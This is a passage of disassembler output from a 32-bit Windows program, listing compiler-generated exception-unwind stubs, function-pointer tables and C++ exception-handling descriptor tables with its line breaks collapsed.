loc_43CEB0: ; DATA XREF: ___:0042C2C5o mov eax, offset dword_442FB8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CEC8: ; DATA XREF: ___:00443044o lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C350 proc near ; DATA XREF: sub_42C350+2o mov eax, offset dword_443018 jmp sub_437AB8 SEH_42C350 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C530 proc near ; DATA XREF: sub_42C530+2o mov eax, offset dword_443058 jmp sub_437AB8 SEH_42C530 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CF28: ; DATA XREF: ___:0042C5D2o mov eax, offset dword_443088 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C770 proc near ; DATA XREF: sub_42C770+2o mov eax, offset dword_4430B8 jmp sub_437AB8 SEH_42C770 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- mov eax, offset dword_4430E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o mov eax, offset dword_443118 jmp sub_437AB8 SEH_42CB70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o mov eax, offset dword_443148 jmp sub_437AB8 SEH_42CE60 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D0A4: ; DATA XREF: ___:0042D158o mov eax, offset dword_4431A0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o mov eax, offset dword_443288 jmp sub_437AB8 SEH_435AA0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D10B: ; DATA XREF: ___:004432ECo lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D116: ; DATA XREF: ___:00435B98o mov eax, offset dword_4432C0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o mov eax, offset dword_4432F8 jmp sub_437AB8 SEH_4364D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o mov eax, offset dword_443328 jmp sub_437AB8 SEH_4368D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o mov eax, offset dword_443360 jmp sub_437AB8 SEH_4369E0 endp ; --------------------------------------------------------------------------- db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '',0 align 4 dd 31Bh dup(0) off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403CC0+2o off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o ; sub_409C20+Bo ... off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o ; sub_40AEF0+1Co dd offset byte_437AC0 align 10h off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o ; sub_40B250+1Eo flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o ; sub_40FE70+1Do dd offset sub_402149 dd 0 off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o ; sub_40FE70+23o off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o ; sub_4119E0+1Do dd offset loc_402004 dd 0 off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do ; sub_4132F0+1Fo dd offset sub_401D0C align 10h off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o ; sub_417EF0+8o dd offset sub_4020C7 dd 0 off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o ; sub_417F20+8o dd offset sub_401230 align 8 off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o dd offset sub_401CF3 dd 0 off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o ; sub_4191B0+36o off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r dd 0 off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo ; sub_41A210+6o off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o ; ___:0041B58Do dd offset sub_401686 align 10h off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o ; sub_41D860+1Do dd offset sub_401C94 dd 0 off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o dd offset sub_401A78 dd offset sub_401A50 dd 0 off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao ; sub_427850+1Do dd offset sub_401A78 dd offset byte_437AC0 dd 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Ah, 40h, 0 dd offset sub_401A78 dd offset sub_401366 dd 0 off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o dd offset sub_401A78 dd offset sub_401EB0 dd 0 off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o dd offset sub_401A78 dd offset sub_401A14 dd 0 off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4015B9 dd 0 off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao ; sub_4291E0+1Do ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset byte_437AC0 dd 0 off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo ; sub_429540+10o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_401D3E dd 0 off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o ; sub_42AD50+9o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40137A dd 0 off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4010AF dd 0 off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40189D dd 0 off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o dword_43F190 dd 0 dd 8, 0 off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_40134D align 10h off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_401537 align 10h dd offset loc_4015FA ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4019F1 align 10h dd offset dword_43F348 off_43F1D4 dd offset loc_437B01 ; DATA XREF: ___:00437AF8o ; ___:off_4448A8o ... dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0) off_43F318 dd offset off_448CA0 ; DATA XREF: ___:0043F330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43F318 dd 0 db 0 ; DATA XREF: ___:0043F358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43F330h dword_43F348 dd 3 dup(0) dd offset off_448CA0 dd offset unk_43F338 dd 45h dup(0) dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0 dd offset dword_4382CC+0B24h dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0) dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0 dd offset loc_438E6B dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah dd 439194h, 3Bh, 4391A2h, 0Eh dup(0) dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0) dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0 dd offset loc_4392B8 dd 2 dup(0) dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0 dd offset loc_4392E8 align 10h dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0) dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0 dd offset loc_439338 dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh dd 2 dup(0) dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0 dd offset loc_4393B8 dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh dd 2 dup(0) dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0) dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0 dd offset loc_4394F8 dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0) dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0 dd offset loc_43957B dd 0 dd offset loc_439586 dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0) dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0 dd offset loc_439820 align 10h dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0 dd offset loc_439860 dd 2 dup(0) dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0 dd offset loc_4398AB dd 0 dd offset loc_4398B6 dd 2 dup(0) dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0) dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0) dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0 dd offset loc_439928 align 10h dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0 dd offset loc_43994B dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0) dd offset off_4448A8 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 437AF0h, 2 dup(0) dd offset off_4448C8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F1Ah, 2 dup(0) dd offset off_4448F0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F20h, 0 dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o dd offset dword_437EC4+62h dd 0 dd offset dword_440070 align 10h dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0) dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0) dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0 dd offset loc_439D87 dd 1, 439D8Fh, 2 dup(0) byte_440140 db 20h ; DATA XREF: ___:loc_439DB9o db 5, 93h, 19h dd 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4401B8h, 4 dup(0) dd offset sub_40AF32 align 10h dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 440218h, 4 dup(0) dd offset sub_40B0B1 align 10h dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0 dd offset loc_439DFB dd 1, 439E06h, 2, 439E11h, 2 dup(0) dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0 dd offset loc_439E4B dd 1, 439E56h, 2, 439E61h, 2 dup(0) dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh dd 439EA0h, 2 dup(0) dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0 dd offset loc_439EC8 dd 1, 439ED0h, 2 dup(0) dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0) dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh dd 439F20h, 2, 439F28h, 2 dup(0) dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0) dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0 dd offset loc_439F7B dd 0 dd offset loc_439F86 dd 2, 439F91h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0) dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0 dd offset loc_439FEB dd 0 dd offset loc_439FF6 dd 0 dd offset loc_43A001 dd 0 dd offset loc_43A00C align 10h dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0 dd offset loc_43A04B dd 2 dup(0) dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0 dd offset loc_43A07B align 10h dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0) dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0 dd offset loc_43A0EB dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h dd 1, 43A12Dh, 4 dup(0) dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh dd 43A1E4h, 4 dup(0) dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0 dd offset loc_43A228 dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0) dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0 dd offset loc_43A278 dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0) dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0 dd offset loc_43A2C8 dd 1, 43A2D0h, 2 dup(0) dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0) dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0 dd offset loc_43A318 dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0) dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0 dd offset loc_43A378 dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h dd 43A4E5h, 8 dup(0) dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0 dd offset loc_43A568 dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh dd 43A623h, 0Fh, 43A631h, 4 dup(0) dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0 dd offset loc_43A69B dd 1, 43A6A6h, 0 dd offset loc_43A6B1 dd 0 dd offset loc_43A6BC dd 0 dd offset loc_43A6C7 dd 0 dd offset loc_43A6D2 dd 0 dd offset loc_43A6DD dd 0 dd offset loc_43A6E8 dd 0 dd offset loc_43A6F3 dd 9, 43A6FEh, 0 dd offset loc_43A709 dd 0 dd offset loc_43A714 